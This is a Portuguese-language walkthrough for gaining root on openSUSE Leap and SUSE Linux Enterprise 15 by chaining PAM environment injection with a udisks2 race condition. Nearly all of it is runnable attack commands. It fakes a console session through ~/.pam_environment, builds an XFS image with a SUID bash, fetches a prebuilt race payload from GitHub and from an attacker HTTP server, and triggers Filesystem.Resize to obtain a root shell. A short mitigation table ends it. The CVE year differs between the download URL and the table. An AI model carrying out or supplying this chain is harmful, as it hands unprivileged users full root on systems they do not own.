
Cadeia de exploração para escalonamento local de privilégios no SUSE Linux, encadeando injeção de ambiente PAM e uma condição de corrida no udisks2 para obter um shell de root.
Sistema operacional alvo: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Acesso necessário: Usuário local sem privilégios com acesso SSH
Resultado: Shell root completo
Este documento detalha a exploração manual de duas vulnerabilidades encadeadas de escalação de privilégios local descobertas pela Qualys Threat Research Unit:
~/.pam_environment, permitindo que um usuário SSH remoto obtenha o status allow_active do Polkit, normalmente reservado para usuários de console fisicamente presentes.libblockdev (usado pelo udisks2) não aplica a flag nosuid ao montar temporariamente um sistema de arquivos durante uma operação D-Bus Filesystem.Resize, permitindo a execução de um binário SUID a partir de um dispositivo de loop controlado pelo usuário.Encadeadas, essas vulnerabilidades permitem que qualquer usuário SSH sem privilégios escale para root sem interação de outros usuários.
Máquina do atacante (Kali Linux):
xfsprogs instalado (sudo apt install xfsprogs -y)gcc disponívelpython3 -m http.server)Máquina alvo:
udisks2 e polkit instalados (padrão nesses sistemas)gdbus disponível (parte do glib2, instalado por padrão)Após obter acesso SSH como usuário sem privilégios, confirme se o alvo é vulnerável.
Verifique o sistema operacional:
cat /etc/os-release | grep -E "NAME|VERSION"
O sistema deve ser openSUSE Leap 15.x ou SUSE Linux Enterprise 15.x.
Verifique se o pam_env lê arquivos do usuário:
grep "pam_env" /etc/pam.d/common-auth
Procure por user_readenv=1 ou simplesmente pela presença de pam_env.so. Em instalações SUSE padrão, isso está habilitado.
Verifique se udisks2 e polkit estão em execução:
systemctl is-active udisks2
systemctl is-active polkit
Verifique a política do Polkit para configuração de dispositivo de loop:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
O valor de allow_active deve ser yes.
allow_active via Injeção no PAMEsta vulnerabilidade abusa do fato de que o pam_env.so lê ~/.pam_environment durante o login SSH e injeta essas variáveis no ambiente da sessão antes que o pam_systemd.so avalie o contexto da sessão. Ao definir XDG_SEAT e XDG_VTNR, o atacante engana o systemd-logind para tratar a sessão SSH remota como uma sessão de console físico, concedendo privilégios allow_active do Polkit.
Injete as variáveis:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Faça logout e reconecte via SSH para acionar o processamento do PAM:
exit
ssh user@<target_ip>
Verifique se allow_active agora foi concedido:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
A saída deve mostrar:
Active=yes
Seat=seat0
VTNr=1
Defina o ID da sessão e o endereço D-Bus se não forem preenchidos automaticamente:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
A imagem XFS deve ser formatada com recursos compatíveis com o kernel SUSE 15. Versões modernas do xfsprogs habilitam recursos como exchange, parent, bigtime, inobtcount e nrext64 por padrão, que não são suportados por kernels SUSE mais antigos e causarão falhas de montagem. As seguintes flags produzem uma imagem XFS V5 compatível:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Monte a imagem e injete um binário bash SUID:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
A saída deve mostrar -rwsr-xr-x 1 root root.
Como a janela de montagem vulnerável durante Filesystem.Resize tem apenas alguns milissegundos de largura, um binário C compilado é necessário para capturá-la de forma confiável. Um loop Bash puro é lento demais.
Baixe o payload pré-compilado da página de releases:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] Você também pode compilar o binário você mesmo. O código-fonte está disponível em payload.c.
Sirva ambos os arquivos via HTTP:
cd /tmp && python3 -m http.server 8888
# Transferir a imagem XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Transferir o binário capturador
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Este passo requer duas sessões SSH simultâneas no alvo.
Configure o dispositivo de loop (em qualquer sessão):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Anote o dispositivo de loop atribuído, por exemplo /dev/loop1.
Sessão 1: Inicie o capturador e deixe-o em execução:
/tmp/payload
[!NOTE] Se o capturador sair imediatamente sem produzir um shell root, tente iniciá-lo antes de configurar o dispositivo de loop e repita a sequência.
Sessão 2: Acione imediatamente o redimensionamento:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
A chamada Resize retornará um erro, mas antes de falhar, o libblockdev monta o sistema de arquivos em um caminho temporário sob /tmp/blockdev.XXXXXX/ sem a flag nosuid. O capturador na Sessão 1 detecta essa montagem, executa o binário bash SUID de dentro dela, copia um shell root para /tmp/rootbash e o executa.
[!NOTE] Se você tiver problemas com
Not authorized to perform operation, tente usar o terminal que você usou com sucesso para executar o comandoudiskctl loop-setup...e use o outro shell para executar o script/tmp/payload.
Quando o capturador concluir, um shell root será executado automaticamente ou poderá ser obtido via:
/tmp/rootbash -p
whoami
# root
| Componente | Correção |
|---|
| CVE-2025-6018 | Desative user_readenv no PAM: defina user_readenv=0 em /etc/pam.d/common-auth |
| CVE-2025-6019 | Atualize libblockdev e udisks2 para versões corrigidas do fornecedor da distribuição |
| Endurecimento do Polkit | Altere allow_active para auth_admin para org.freedesktop.udisks2.loop-setup no arquivo de política do UDisks2 |